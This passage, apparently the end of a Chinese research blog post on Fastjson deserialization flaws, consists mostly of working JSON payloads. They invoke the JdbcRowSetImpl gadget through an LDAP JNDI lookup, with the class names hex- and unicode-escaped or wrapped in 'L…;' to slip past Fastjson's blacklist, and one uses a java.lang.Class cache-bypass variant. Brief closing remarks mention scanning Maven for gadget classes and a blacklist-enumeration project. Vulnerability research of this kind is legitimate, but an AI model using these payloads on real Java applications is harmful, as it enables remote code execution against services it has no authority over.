{"rand1":{"@type":"\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}
{"rand1":{"@type":"\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}
{"rand1":{"@type":"\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}
{"rand1":{"@type":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","val":"com.sun.rowset.JdbcRowSetImpl"},"rand2":{"rand1":{"@type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}}
{"rand1":{"@type":"\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73","val":"com.sun.rowset.JdbcRowSetImpl"},"rand2":{"rand1":{"@type":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}}
有些师傅也通过扫描maven仓库包来寻找符合jackson、fastjson的恶意利用类,似乎大多数都是在寻找jndi类型的漏洞。对于跑黑名单,可以看下这个项目,跑到1.2.62版本了,跑出来了大多数黑名单,不过很多都是包,具体哪个类还得去包中一一寻找。
参考链接
太多了,感谢师傅们的辛勤记录。
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